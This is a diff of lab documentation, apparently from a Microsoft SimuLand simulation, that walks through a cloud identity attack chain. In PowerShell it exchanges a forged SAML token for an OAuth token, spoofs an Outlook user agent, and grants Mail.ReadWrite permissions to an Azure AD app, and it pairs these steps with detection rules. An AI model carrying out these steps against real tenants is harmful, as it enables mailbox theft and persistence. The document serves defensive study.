* [Mail.Read or Mail.ReadWrite permissions added to OAuth application CloudAppEvents](https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Defense%20evasion/MailPermissionsAddedToApplication%5BNobelium%5D.md)
|
||||
|
||||
### Azure AD Workbook: Sensitive Operations Report
|
||||
#### Azure AD Workbook: Sensitive Operations Report
|
||||
1. Browse to [Azure portal](https://portal.azure.com/)
|
||||
2. Azure AD > Workbooks > Sensitive Operations Report
|
||||
|
||||
![](../../resources/images/simulate_detect/persistence/grantDelegatedPermissionsToApplication/2021-05-19_10_workbook.png)
|
||||
|
||||
### Microsoft Cloud App Security
|
||||
#### Microsoft Cloud App Security
|
||||
1. Navigate to [Microsoft 365 Security Center](https://security.microsoft.com/)
|
||||
2. Go to `More Resources` and click on `Microsoft Cloud App Security`
|
||||
3. Connected Apps > Office 365 > Activity Logs
|
||||
|
||||
![](../../resources/images/simulate_detect/persistence/grantDelegatedPermissionsToApplication/2021-05-19_11_mcas_alert.png)
|
||||
|
||||
![](../../resources/images/simulate_detect/persistence/grantDelegatedPermissionsToApplication/2021-05-19_12_mcas_alert.png)
|
||||
![](../../resources/images/simulate_detect/persistence/grantDelegatedPermissionsToApplication/2021-05-19_12_mcas_alert.png)
|
||||
|
||||
## Output
|
|
@ -8,48 +8,43 @@ This type of flow supports users authenticating with identity providers such as
|
|||
|
||||
In this document, we are going to use an existing SAML token to exchange it for an OAuth access token from Azure active directory (Azure AD).
|
||||
|
||||
## Simulate & Detect
|
||||
1. [Encode SAML token](#encode-saml-token)
|
||||
2. [Create OAuth HTTP POST request](#create-oauth-http-post-request)
|
||||
3. [Send HTTP POST request to the Microsoft identity platform token endpoint](#send-http-post-request-to-the-microsoft-identity-platform-token-endpoint)
|
||||
4. [Get OAuth access token from results](#get-oauth-access-token-from-results)
|
||||
## Table of Contents
|
||||
|
||||
* [Preconditions](#preconditions)
|
||||
* [Simulation Steps](#simulation-steps)
|
||||
* [Output](#output)
|
||||
|
||||
## Preconditions
|
||||
* A trust relationship between the authorization server/environment (Microsoft 365) and the identity provider, or issuer of the SAML 2.0 bearer assertion (AD FS server)
|
||||
* Endpoint: AD FS Server (ADFS01)
|
||||
* Even when this step would happen outside of the organization, we can use the same PowerShell session where we [signed a new SAML token](../credential-access/signSAMLToken.md) to go through the simulation steps.
|
||||
* A valid SAML bearer token
|
||||
* Use the output from that previous step where we [signed a new SAML token](../credential-access/signSAMLToken.md) as the variable `$SamlToken`.
|
||||
* Application ID:
|
||||
* The ID of the application (`appId`) we want to use to request the OAuth token (e.g Public Azure AD Application = `1b730954-1685-4b74-9bfd-dac224a7b894`).
|
||||
* Scope:
|
||||
* A space-separated list of scopes, or permissions, that the app requires (e.g. Microsoft Graph = `"https://graph.microsoft.com/.default`).
|
||||
* Client secret (optional):
|
||||
* If your app is a public client, then `the client_secret` cannot be included. If the app is a confidential client (Your own app), then it must be included in the OAuth HTTP request.
|
||||
* Input:
|
||||
* SAML Token
|
||||
* Azure AD Application ID: The ID of the application (`appId`) to request the OAuth token (e.g Public Azure AD Application = `1b730954-1685-4b74-9bfd-dac224a7b894`).
|
||||
* Scope: A space-separated list of scopes, or permissions, that the app requires (e.g. Microsoft Graph = `"https://graph.microsoft.com/.default`).
|
||||
* Client secret (optional):
|
||||
* If your app is a public client, then `the client_secret` cannot be included. If the app is a confidential client (Your own app), then it must be included in the OAuth HTTP request.
|
||||
|
||||
## Encode SAML token
|
||||
## Simulation Steps
|
||||
|
||||
1. Take a SAML token and base64 encode it to use it in the OAuth HTTP request.
|
||||
### Encode SAML token
|
||||
|
||||
![](../../resources/images/simulate_detect/persistence/getOAuthTokenWithSAMLAssertion/2021-05-19_01_saml_token.png)
|
||||
|
||||
2. Open a PowerShell console and run the following command to base64 encode it:
|
||||
1. Open a PowerShell console and run the following command to base64 encode a SAML token to later use it in an OAuth HTTP request:
|
||||
|
||||
```PowerShell
|
||||
$encodedSamlToken = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($SamlToken))
|
||||
```
|
||||
|
||||
![](../../resources/images/simulate_detect/persistence/getOAuthTokenWithSAMLAssertion/2021-05-19_01_saml_token.png)
|
||||
|
||||
![](../../resources/images/simulate_detect/persistence/getOAuthTokenWithSAMLAssertion/2021-05-19_02_token_encoded.png)
|
||||
|
||||
## Create OAuth HTTP POST request
|
||||
### Create OAuth HTTP POST request
|
||||
|
||||
### HTTP header
|
||||
#### HTTP header
|
||||
|
||||
You can, for example, set the user Agent to look like `Microsoft Outlook` or other known applications.
|
||||
|
||||
```PowerShell
|
||||
$headers = @{
|
||||
“Content-Type” = “application/x-www-form-urlencoded”
|
||||
"Content-Type" = "application/x-www-form-urlencoded"
|
||||
"User-Agent" = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; Microsoft Outlook 16.0.4266)"
|
||||
}
|
||||
$headers
|
||||
|
@ -57,7 +52,7 @@ $headers
|
|||
|
||||
![](../../resources/images/simulate_detect/persistence/getOAuthTokenWithSAMLAssertion/2021-05-19_03_http_header.png)
|
||||
|
||||
### HTTP body
|
||||
#### HTTP body
|
||||
|
||||
Use the following parameters:
|
||||
|
||||
|
@ -108,7 +103,7 @@ $secret = 'xxxxxx'
|
|||
$body['client_secret'] = $secret
|
||||
```
|
||||
|
||||
## Send HTTP POST request to the Microsoft identity platform token endpoint
|
||||
### Send HTTP POST request to the Microsoft identity platform token endpoint
|
||||
|
||||
Send the OAuth token request to the OAuth 2.0 (v2) token endpoint: `https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token`
|
||||
|
||||
|
@ -128,7 +123,7 @@ $results
|
|||
![](../../resources/images/simulate_detect/persistence/getOAuthTokenWithSAMLAssertion/2021-05-19_07_send_oauth_http_request.png)
|
||||
|
||||
|
||||
# Get OAuth Access Token from Results
|
||||
### Get OAuth Access Token from Results
|
||||
|
||||
```PowerShell
|
||||
$OAuthAccessToken = $results.access_token
|
||||
|
@ -141,7 +136,8 @@ You can inspect your token here: [jwt.ms: Welcome!](https://jwt.ms/)
|
|||
|
||||
## Output
|
||||
|
||||
Use the variable `$OAuthAccessToken` to call the API defined in the `scope` parameter of the HTTP body.
|
||||
* OAuth Access Token
|
||||
* Use the variable `$OAuthAccessToken` to call the API defined in the `scope` parameter of the HTTP body.
|
||||
|
||||
## References
|
||||
* [Exporting ADFS certificates revisited: Tactics, Techniques and Procedures (o365blog.com)](https://o365blog.com/post/adfs/)
|
|
@ -15,35 +15,29 @@ These resources can define a set of permissions that can be used to divide the f
|
|||
|
||||
A delegated permission grant is represented by an [oAuth2PermissionGrant object](https://docs.microsoft.com/en-us/graph/api/resources/oauth2permissiongrant?view=graph-rest-1.0). If delegated permissions need to be granted to an application that already has been granted permissions of the same resource type, one needs to update the OAuth permission grant of the same resource and not create a new one.
|
||||
|
||||
## Simulate & Detect
|
||||
## Table of Contents
|
||||
|
||||
In this document, we simulate an adversary updating the `OAuth permission grant` of an existing OAuth application.
|
||||
|
||||
1. [List Existing Applications](#list-existing-applications)
|
||||
2. [Get the Application Service Principal](#get-the-application-service-principal)
|
||||
3. [Get the Application Permission Grant Metadata](#get-the-application-permission-grant-metadata)
|
||||
4. [Update the Application Permission Grant](#update-the-application-permission-grant)
|
||||
* [Detect Permission Grants to Applications](#detect-permission-grants-to-applications)
|
||||
* [Preconditions](#preconditions)
|
||||
* [Simulation Steps](#simulation-steps)
|
||||
* [Detection](#detection)
|
||||
* [Output](#output)
|
||||
|
||||
## Preconditions
|
||||
|
||||
* Endpoint: AD FS Server (ADFS01)
|
||||
* Even when this step would happen outside of the organization, we can use the same PowerShell session where we [got a Microsoft Graph oauth access token](../persistence/getOAuthTokenWithSAMLAssertion.md).
|
||||
* Microsoft Graph OAuth access token
|
||||
* Use the output from the [previous step](../persistence/getOAuthTokenWithSAMLAssertion.md) as the variable `$OAuthAccessToken`. Make sure you request the access token with the public `Azure Active Directory PowerShell Application`. That application has the right permissions to execute all the simulation steps in this document.
|
||||
|
||||
## List Existing Applications
|
||||
|
||||
**Preconditions**
|
||||
* Authorization:
|
||||
* Service: Azure Microsoft Graph
|
||||
* Permission Type: Delegated
|
||||
* Permissions (One of the following):
|
||||
* Application.Read.All
|
||||
* Resource: Azure Microsoft Graph
|
||||
* Permission Type: Delegated
|
||||
* Permissions:
|
||||
* Application.ReadWrite.All
|
||||
* Directory.Read.All
|
||||
* Directory.ReadWrite.All
|
||||
* DelegatedPermissionGrant.ReadWrite.All
|
||||
* Input:
|
||||
* Microsoft Graph OAuth access token
|
||||
|
||||
Open PowerShell as administrator and use the Microsoft Graph oauth access token to list the current Azure AD applications in a tenant.
|
||||
## Simulation Steps
|
||||
|
||||
### List Existing Applications
|
||||
|
||||
1. Open PowerShell and use the Microsoft Graph oauth access token to list the current Azure AD applications in a tenant.
|
||||
|
||||
```PowerShell
|
||||
$headers = @{"Authorization" = "Bearer $OAuthAccessToken"}
|
||||
|
@ -59,7 +53,7 @@ $AzADApps.value
|
|||
|
||||
![](../../resources/images/simulate_detect/persistence/grantDelegatedPermissionsToApplication/2021-05-19_02_aad_application.png)
|
||||
|
||||
Next, filter the results and select the Azure AD application you want to grant permissions to. If you followed the instructions to [register one Azure AD application](../../2_deploy/_helper_docs/registerAADAppAndSP.md) after deploying the lab environment, your app should be named `SimuLandApp`. If you used a different name, make sure you look for it with the right name in the following PowerShell command:
|
||||
2. Next, filter the results and select the Azure AD application you want to grant permissions to. If you followed the instructions to [register one Azure AD application](../../2_deploy/_helper_docs/registerAADAppAndSP.md) after deploying the lab environment, your app should be named `SimuLandApp`. If you used a different name, make sure you look for it with the right name in the following PowerShell command:
|
||||
|
||||
```PowerShell
|
||||
$Application = $AzADApps.value | Where-Object {$_.displayName -eq "SimuLandApp"}
|
||||
|
@ -67,19 +61,9 @@ $Application = $AzADApps.value | Where-Object {$_.displayName -eq "SimuLandApp"}
|
|||
|
||||
![](../../resources/images/simulate_detect/persistence/grantDelegatedPermissionsToApplication/2021-05-19_02_aad_application_specific.png)
|
||||
|
||||
## Get the Application Service Principal
|
||||
### Get the Application Service Principal
|
||||
|
||||
**Preconditions**
|
||||
* Authorization:
|
||||
* Service: Azure Microsoft Graph
|
||||
* Permission Type: Delegated
|
||||
* Permissions (One of the following):
|
||||
* Application.Read.All
|
||||
* Application.ReadWrite.All
|
||||
* Directory.Read.All
|
||||
* Directory.ReadWrite.All
|
||||
|
||||
Next, in order to grant permissions to the application, we need to do it at the service principal level. We can take the application Id value from our previous steps and get its service principal.
|
||||
3. In order to grant permissions to the application, we need to do it at the service principal level. We can take the application Id value from our previous steps and get its service principal.
|
||||
|
||||
```PowerShell
|
||||
$headers = @{"Authorization" = "Bearer $OAuthAccessToken"}
|
||||
|
@ -96,19 +80,9 @@ $AzADAppSp.value | Format-List
|
|||
|
||||
Now that we have the service principal of the application, we can look for the permission grant of the application with the service principal Id.
|
||||
|
||||
## Get the Application Permission Grant Metadata
|
||||
### Get the Application Permission Grant Metadata
|
||||
|
||||
**Preconditions**
|
||||
* Authorization:
|
||||
* Service: Azure Microsoft Graph
|
||||
* Permission Type: Delegated
|
||||
* Permissions (One of the following):
|
||||
* Directory.Read.All
|
||||
* DelegatedPermissionGrant.ReadWrite.All
|
||||
* Directory.ReadWrite.All
|
||||
* Directory.AccessAsUser.All
|
||||
|
||||
Get all available permission grants and filter on the one where the `clientId` is the same as the application's service principal Id.
|
||||
4. Get all available permission grants and filter on the one where the `clientId` is the same as the application's service principal Id.
|
||||
|
||||
```PowerShell
|
||||
$headers = @{
|
||||
|
@ -134,15 +108,13 @@ $permissionGrantScope
|
|||
|
||||
![](../../resources/images/simulate_detect/persistence/grantDelegatedPermissionsToApplication/2021-05-19_08_permission_grant_id.png)
|
||||
|
||||
## Update the Application Permission Grant
|
||||
|
||||
### Create HTTP Request Body
|
||||
|
||||
In the request body, supply the values for relevant fields that should be updated. Existing properties that are not included in the request body will maintain their previous values or be recalculated based on changes to other property values. For best performance you shouldn't include existing values that haven't changed.
|
||||
5. In the request body, supply the values for relevant fields that should be updated. Existing properties that are not included in the request body will maintain their previous values or be recalculated based on changes to other property values. For best performance you shouldn't include existing values that haven't changed.
|
||||
|
||||
Set the `scope` in the HTTP request body to update the delegated permissions. The `scope` is a space-separated list of the claim values for delegated permissions which should be included in access tokens for the resource application (the API).
|
||||
6. Set the `scope` in the HTTP request body to update the delegated permissions. The `scope` is a space-separated list of the claim values for delegated permissions which should be included in access tokens for the resource application (the API).
|
||||
|
||||
Set the new delegated permissions with the variable `$newpermission`. If you have multiple permissions you want to update, make sure they are space-separated. For this example, we are adding the Microsoft Graph `Mail.ReadWrite` delegated permission.
|
||||
7. Set the new delegated permissions with the variable `$newpermission`. If you have multiple permissions you want to update, make sure they are space-separated. For this example, we are adding the Microsoft Graph `Mail.ReadWrite` delegated permission.
|
||||
|
||||
```powerShell
|
||||
$newPermissions = "Mail.ReadWrite"
|
||||
|
@ -158,16 +130,7 @@ $body
|
|||
|
||||
### Update Permission Grant
|
||||
|
||||
**Preconditions**
|
||||
* Authorization:
|
||||
* Service: Azure Microsoft Graph
|
||||
* Permission Type: Delegated
|
||||
* Permissions (One of the following):
|
||||
* DelegatedPermissionGrant.ReadWrite.All
|
||||
* Directory.ReadWrite.All
|
||||
* Directory.AccessAsUser.All
|
||||
|
||||
Update the permissions grant with the [Microsoft Graph oauth2PermissionGrants API](https://docs.microsoft.com/en-us/graph/api/oauth2permissiongrant-update?view=graph-rest-1.0&tabs=http). Make sure you use the permission grant Id obtained in the previous step as the variable `$permissionGrantId`.
|
||||
8. Update the permissions grant with the [Microsoft Graph oauth2PermissionGrants API](https://docs.microsoft.com/en-us/graph/api/oauth2permissiongrant-update?view=graph-rest-1.0&tabs=http). Make sure you use the permission grant Id obtained in the previous step as the variable `$permissionGrantId`.
|
||||
|
||||
```PowerShell
|
||||
$headers = @{
|
||||
|
@ -195,31 +158,35 @@ If successful, this method returns `204 No Content` response code. It does not r
|
|||
|
||||
### Verify Permission Grant Update
|
||||
|
||||
Browse to [Azure portal](https://portal.azure.com/) > Azure Active Directory > App Registrations > `SimuLandApp` > API permissions
|
||||
9. Browse to [Azure portal](https://portal.azure.com/) > Azure Active Directory > App Registrations > `SimuLandApp` > API permissions
|
||||
|
||||
![](../../resources/images/simulate_detect/persistence/grantDelegatedPermissionsToApplication/2021-05-19_08_verify_permission_grant_update.png)
|
||||
|
||||
## Detect Permission Grants to Applications
|
||||
## Detection
|
||||
|
||||
### Azure Sentinel Detection Rules
|
||||
### Detect Permission Grants to Applications
|
||||
|
||||
#### Azure Sentinel Detection Rules
|
||||
|
||||
* [Mail.Read Permissions Granted to Application (AuditLogs)](https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/MailPermissionsAddedToApplication.yaml)
|
||||
|
||||
### Microsoft 365 Hunting Queries
|
||||
#### Microsoft 365 Hunting Queries
|
||||
|
||||
* [Mail.Read or Mail.ReadWrite permissions added to OAuth application CloudAppEvents](https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Defense%20evasion/MailPermissionsAddedToApplication%5BNobelium%5D.md)
|
||||
|
||||
### Azure AD Workbook: Sensitive Operations Report
|
||||
#### Azure AD Workbook: Sensitive Operations Report
|
||||
1. Browse to [Azure portal](https://portal.azure.com/)
|
||||
2. Azure AD > Workbooks > Sensitive Operations Report
|
||||
|
||||
![](../../resources/images/simulate_detect/persistence/grantDelegatedPermissionsToApplication/2021-05-19_10_workbook.png)
|
||||
|
||||
### Microsoft Cloud App Security
|
||||
#### Microsoft Cloud App Security
|
||||
1. Navigate to [Microsoft 365 Security Center](https://security.microsoft.com/)
|
||||
2. Go to `More Resources` and click on `Microsoft Cloud App Security`
|
||||
3. Connected Apps > Office 365 > Activity Logs
|
||||
|
||||
![](../../resources/images/simulate_detect/persistence/grantDelegatedPermissionsToApplication/2021-05-19_11_mcas_alert.png)
|
||||
|
||||
![](../../resources/images/simulate_detect/persistence/grantDelegatedPermissionsToApplication/2021-05-19_12_mcas_alert.png)
|
||||
![](../../resources/images/simulate_detect/persistence/grantDelegatedPermissionsToApplication/2021-05-19_12_mcas_alert.png)
|
||||
|
||||
## Output
|
|
@ -11,40 +11,35 @@ These resources can define a set of permissions that can be used to divide the f
|
|||
* **Delegated permissions** are used by apps that have a signed-in user present. These permissions are of type `Scope` and delegate privileges of the signed-in user, allowing the app to act as the user. For example, if an application contains the “Mail.Read” delegated permissions and a user requests it; the app would only be able to access the signed-in user mailbox.
|
||||
* **Application permissions** are used by apps that run without a signed-in user present. These permissions are of type `Role` and grant the app the full set of privileges offered by the scope. For example, if an application contains the `Mail.Read` role permissions, the application would have access to every user’s mailbox.
|
||||
|
||||
|
||||
**Required Resource Access Collection**
|
||||
|
||||
Before granting permissions to an application, one needs to specify the resources the application requires access to and the set of OAuth permission scopes and application roles that it needs under each of those resources. This pre-configuration of required resource access drives the consent experience.
|
||||
|
||||
The specified OAuth 2.0 permission `scopes` and `app roles` may be requested by client applications (through the `requiredResourceAccess` collection) when calling a resource application. The requiredResourceAccess property of the application entity is a collection of `RequiredResourceAccess`.
|
||||
|
||||
## Simulate & Detect
|
||||
## Table of Contents
|
||||
|
||||
In this document, we simulate an adversary updating the `OAuth permission scopes` of an existing OAuth application via its `requiredResourceAccess` property.
|
||||
|
||||
1. [List Existing Applications](#list-existing-applications)
|
||||
2. [Update Application Delegated Permissions](#update-application-delegated-permissions)
|
||||
* [Detect OAuth Permission Scopes Update](#detect-oauth-permission-scopes-update)
|
||||
* [Preconditions](#preconditions)
|
||||
* [Simulation Steps](#simulation-steps)
|
||||
* [Detection](#detection)
|
||||
* [Output](#output)
|
||||
|
||||
## Preconditions
|
||||
|
||||
* Endpoint: AD FS Server (ADFS01)
|
||||
* Even when this step would happen outside of the organization, we can use the same PowerShell session where we [got a Microsoft Graph oauth access token](../persistence/getOAuthTokenWithSAMLAssertion.md).
|
||||
* Microsoft Graph OAuth access token
|
||||
* Use the output from the [previous step](../persistence/getOAuthTokenWithSAMLAssertion.md) as the variable `$OAuthAccessToken`. Make sure you request the access token with the public `Azure Active Directory PowerShell Application`. That application has the right permissions to execute all the simulation steps in this document.
|
||||
|
||||
## List Existing Applications
|
||||
|
||||
**Preconditions**
|
||||
* Authorization:
|
||||
* Service: Azure Microsoft Graph
|
||||
* Permission Type: Delegated
|
||||
* Permissions (One of the following):
|
||||
* Resource: Azure Microsoft Graph
|
||||
* Permission Type: Delegated
|
||||
* Permissions (One of the following):
|
||||
* Application.Read.All
|
||||
* Application.ReadWrite.All
|
||||
* Directory.Read.All
|
||||
* Directory.ReadWrite.All
|
||||
* Input:
|
||||
* Microsoft Graph OAuth access token
|
||||
|
||||
Open PowerShell as administrator and use the Microsoft Graph oauth access token to list the current Azure AD applications in a tenant.
|
||||
## Simulation Steps
|
||||
### List Existing Applications
|
||||
|
||||
1. Open PowerShell as administrator and use the Microsoft Graph oauth access token to list the current Azure AD applications in a tenant.
|
||||
|
||||
```PowerShell
|
||||
$headers = @{"Authorization" = "Bearer $OAuthAccessToken"}
|
||||
|
@ -60,7 +55,7 @@ $AzADApps.value
|
|||
|
||||
![](../../resources/images/simulate_detect/persistence/grantDelegatedPermissionsToApplication/2021-05-19_02_aad_application.png)
|
||||
|
||||
Next, filter the results and select the Azure AD application you want to update the permission scopes. If you followed the instructions to [register one Azure AD application](../../2_deploy/_helper_docs/registerAADAppAndSP.md) after deploying the lab environment, your app should be named `SimuLandApp`. If you used a different name, make sure you look for it with the right name in the following PowerShell command:
|
||||
2. Next, filter the results and select the Azure AD application you want to update the permission scopes. If you followed the instructions to [register one Azure AD application](../../2_deploy/_helper_docs/registerAADAppAndSP.md) after deploying the lab environment, your app should be named `SimuLandApp`. If you used a different name, make sure you look for it with the right name in the following PowerShell command:
|
||||
|
||||
```PowerShell
|
||||
$Application = $AzADApps.value | Where-Object {$_.displayName -eq "SimuLandApp"}
|
||||
|
@ -68,23 +63,9 @@ $Application = $AzADApps.value | Where-Object {$_.displayName -eq "SimuLandApp"}
|
|||
|
||||
![](../../resources/images/simulate_detect/persistence/grantDelegatedPermissionsToApplication/2021-05-19_02_aad_application_specific.png)
|
||||
|
||||
## Update Application Delegated Permissions
|
||||
|
||||
### Get Microsoft Graph Service Principal
|
||||
|
||||
**Preconditions**
|
||||
* Authorization:
|
||||
* Service: Azure Microsoft Graph
|
||||
* Permission Type: Delegated
|
||||
* Permissions (One of the following):
|
||||
* Application.Read.All
|
||||
* Application.ReadWrite.All
|
||||
* Directory.Read.All
|
||||
* Directory.ReadWrite.All
|
||||
|
||||
Identify the id of the resource service principal to which access is authorized. This identifies the API which the client is authorized to attempt to call on behalf of a signed-in user.
|
||||
|
||||
In this exercise, we are going to add permission scopes from the [Microsoft Graph API](https://docs.microsoft.com/en-us/graph/overview?view=graph-rest-1.0). Therefore, we need to get the Id of the Microsoft Graph API service principal.
|
||||
1. Identify the id of the resource service principal to which access is authorized. This identifies the API which the client is authorized to attempt to call on behalf of a signed-in user. In this step, we are going to add permission scopes from the [Microsoft Graph API](https://docs.microsoft.com/en-us/graph/overview?view=graph-rest-1.0). Therefore, we need to get the Id of the Microsoft Graph API service principal.
|
||||
|
||||
```PowerShell
|
||||
$resourceSpDisplayName = 'Microsoft Graph'
|
||||
|
@ -109,13 +90,13 @@ $ResourceSvcPrincipal
|
|||
|
||||
### Create Resource Access Items
|
||||
|
||||
Define the delegated permissions as an array. For this example, we are going to use the Microsoft Graph `Mail.ReadWrite` permission scope. Feel free to change it for other use cases.
|
||||
2. Define the delegated permissions as an array. For this example, we are going to use the Microsoft Graph `Mail.ReadWrite` permission scope. Feel free to change it for other use cases.
|
||||
|
||||
```PowerShell
|
||||
$permissions = @('Mail.ReadWrite')
|
||||
```
|
||||
|
||||
Next, we need to get the ID of the permission scopes. We can get that information from the Microsoft Graph API servcie principal object we got in the previous step. Since we are adding `delegated` permissions to an application, we use the **PropertyType** `oauth2PermissionScopes` and **ResourceAccessType** `Scope` to filter permissions from the Microsoft Graph service principal object.
|
||||
3. Next, we need to get the ID of the permission scopes. We can get that information from the Microsoft Graph API servcie principal object we got in the previous step. Since we are adding `delegated` permissions to an application, we use the **PropertyType** `oauth2PermissionScopes` and **ResourceAccessType** `Scope` to filter permissions from the Microsoft Graph service principal object.
|
||||
|
||||
```PowerShell
|
||||
$PropertyType = 'oauth2PermissionScopes'
|
||||
|
@ -148,7 +129,7 @@ This required resource access object is represented by the following properties:
|
|||
| resourceAccess | [resourceAcces collection](https://docs.microsoft.com/en-us/graph/api/resources/resourceaccess?view=graph-rest-1.0) | The list of OAuth2.0 permission scopes and app roles that the application requires from the specified resource. |
|
||||
| resourceAppId | String | The unique identifier for the resource that the application requires access to. This should be equal to the appId declared on the target resource application. |
|
||||
|
||||
For this example, we use the `resource access items` from the previous step and the Id of the Microsoft Graph API service principal. Also, ff there are permission scopes from the same resource already present in the application, you need to make sure they are added to the `required resource access` collection. The PowerShell commands below take care of all that for you.
|
||||
4. For this step, we use the `resource access items` from the previous step and the Id of the Microsoft Graph API service principal. Also, if there are permission scopes from the same resource already present in the application, you need to make sure they are added to the `required resource access` collection. The PowerShell commands below take care of all that for you.
|
||||
|
||||
Reference: [https://github.com/TheCloudScout/devops-auto-key-rotation/blob/main/scripts/Set-addApplicationOwner.ps1](https://github.com/TheCloudScout/devops-auto-key-rotation/blob/main/scripts/Set-addApplicationOwner.ps1)
|
||||
|
||||
|
@ -176,7 +157,7 @@ As you can see in the image below, we used the `requiredResourceAccess` property
|
|||
|
||||
### Update Application Required Resource Access collection
|
||||
|
||||
Use the [Microsoft Graph update application API](https://docs.microsoft.com/en-us/graph/api/application-update?view=graph-rest-1.0&tabs=http) and the `$Application.requiredResourceAccess` new value to patch the OAuth application's `requiredResourceAccess` property in Azure AD.
|
||||
5. Use the [Microsoft Graph update application API](https://docs.microsoft.com/en-us/graph/api/application-update?view=graph-rest-1.0&tabs=http) and the `$Application.requiredResourceAccess` new value to patch the OAuth application's `requiredResourceAccess` property in Azure AD.
|
||||
|
||||
```powerShell
|
||||
$AppBody = $Application | Select-Object -Property "id", "appId", "displayName", "identifierUris", "requiredResourceAccess"
|
||||
|
@ -200,7 +181,7 @@ if ($updatedApplication.StatusCode -eq 204) {
|
|||
|
||||
### Verify permission scopes were updated
|
||||
|
||||
Once the permission scopes are updated via the OAuth application's `requiredResourceAccess` property, we can run the following commands to get the new resource access values directly from Azure AD.
|
||||
6. Once the permission scopes are updated via the OAuth application's `requiredResourceAccess` property, we can run the following commands to get the new resource access values directly from Azure AD.
|
||||
|
||||
```PowerShell
|
||||
$headers = @{"Authorization" = "Bearer $OAuthAccessToken"}
|
||||
|
@ -218,9 +199,11 @@ $Application.requiredResourceAccess.resourceAccess
|
|||
|
||||
![](../../resources/images/simulate_detect/persistence/grantDelegatedPermissionsToApplication/2021-05-19_07_verify_app_updated.png)
|
||||
|
||||
## Detect OAuth Permission Scopes Update
|
||||
## Detection
|
||||
|
||||
### Azure Sentinel Hunting Queries
|
||||
### Detect OAuth Permission Scopes Update
|
||||
|
||||
#### Azure Sentinel Hunting Queries
|
||||
|
||||
* [OAuth Application Required Resource Access Update)](https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/AuditLogs/AppRequiredResourceAccessUpdate.yaml)
|
||||
|
||||
|
|
|
@ -18,10 +18,12 @@ This simulation starts with a compromised `on-prem` AD FS Server where a threat
|
|||
|
||||
| Step | Tactic(s) | Technique | Actions | Description |
|
||||
| --- | --- | --- | --- | --- |
|
||||
| 1 | [Credential Access](https://attack.mitre.org/tactics/TA0006/) | [Unsecured Credentials: Private Keys](https://attack.mitre.org/techniques/T1552/004/) | [Export ADFS Token Signing Certificate](../../3_simulate_detect/credential-access/exportADFSTokenSigningCertificate.md) | Access the AD FS configuration database locally and remotely, read the AD FS configuration settings, export AD FS certificates in encrypted format, extract the AD FS DKM master key value from the Domain Controller and use it to decrypt the AD FS token signing certificate. |
|
||||
| 2 | [Credential Access](https://attack.mitre.org/tactics/TA0006/) | [Forge Web Credentials: SAML Tokens](https://attack.mitre.org/techniques/T1606/002/) | [Forge SAML Token](../../3_simulate_detect/credential-access/signSAMLToken.md) | Use the stolen AD FS token signing certificate and sign a new SAML token to impersonate a privileged user that could also access resources in Azure. |
|
||||
| 3 | [Persistence](https://attack.mitre.org/tactics/TA0003/) <br> [Defense Evasion](https://attack.mitre.org/tactics/TA0005/) <br> [Privilege Escalation](https://attack.mitre.org/tactics/TA0004/) | [Valid Accounts: Cloud Accounts](https://attack.mitre.org/techniques/T1078/004/) | [Request OAuth Access Token with SAML Assertion](../../3_simulate_detect/persistence/getOAuthTokenWithSAMLAssertion.md) | Get an OAuth access token for the Microsoft Graph API using the public `Azure Active Directory PowerShell application` as a client. <br> Use the Following information while running this step: <br> <ul><li>Client ID: `1b730954-1685-4b74-9bfd-dac224a7b894` (Azure AD PowerShell Application ID)</li><li>Scope: `https://graph.microsoft.com/.default`</li></ul> |
|
||||
| 4 | [Persistence](https://attack.mitre.org/tactics/TA0003/) | [Account Manipulation: Exchange Email Delegate Permissions](https://attack.mitre.org/techniques/T1098/002/) | [Update Application OAuth Permissions Scopes](../../3_simulate_detect/persistence/updateAppOAuthPermissionScopes.md) <br><br> [Grant OAuth Permissions to Application](../../3_simulate_detect/persistence/updateAppDelegatedPermissionGrant.md) | Next, use the OAuth token to call the Microsoft Graph API and simulate an adversary granting delegated `Mail.ReadWrite` permissions to an Azure AD application. Usually, a threat actor would prefer to use an existing application that already has the desired permissions granted. However, in this step, we simulate a threat actor updating the `Required Resource Access` property of an application and updating the `OAuthPermissionGrant` of an OAuth application to grant new delegated permissions. |
|
||||
| 5 | [Persistence]() | [Account Manipulation: Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001/) | [Add credentials to OAuth Application](../../3_simulate_detect/persistence/addCredentialsToApplication.md) | Add new credentials to the compromised OAuth application using the same OAuth access token and via the Microsoft Graph API. We can then use those credentials to sign in to the application on behalf of the impersonated user. |
|
||||
| 6 | [Persistence](https://attack.mitre.org/tactics/TA0003/) <br> [Defense Evasion](https://attack.mitre.org/tactics/TA0005/) <br> [Privilege Escalation](https://attack.mitre.org/tactics/TA0004/) | [Valid Accounts: Cloud Accounts](https://attack.mitre.org/techniques/T1078/004/) | [Request OAuth Access Token with SAML Assertion](../../3_simulate_detect/persistence/getOAuthTokenWithSAMLAssertion.md) | Get an OAuth access token for the Microsoft Graph API, but this time using the compromised application as a client. You must use the new credentials (`secret text`) added to it in the previous step. <br> Use the following information while running this step: <br> <ul><li>Client ID: `id-of-compromised-application`</li><li>Scope: `https://graph.microsoft.com/.default`</li><li>Client Secret: `xxxx`</li></ul> |
|
||||
| 7 | [Collection](https://attack.mitre.org/tactics/TA0009/) | [Email Collection](https://attack.mitre.org/techniques/T1114/) | [Access account mailbox via Graph API](../../3_simulate_detect/collection/mailAccessDelegatedPermissions.md) | Use the new OAuth access token to call the Microsoft Graph API and read mail from the mailbox of the signed-in user. |
|
||||
| 1 | [Credential Access](https://attack.mitre.org/tactics/TA0006/) | [Unsecured Credentials](https://attack.mitre.org/techniques/T1552/) | [Export AD FS Configuration Settings via Named Pipe](../../3_simulate_detect/credential-access/exportADFSConfigSettingsNamedPipe.md) | Connect to the AD FS configuration database locally via a named pipe and read the AD FS configuration settings. |
|
||||
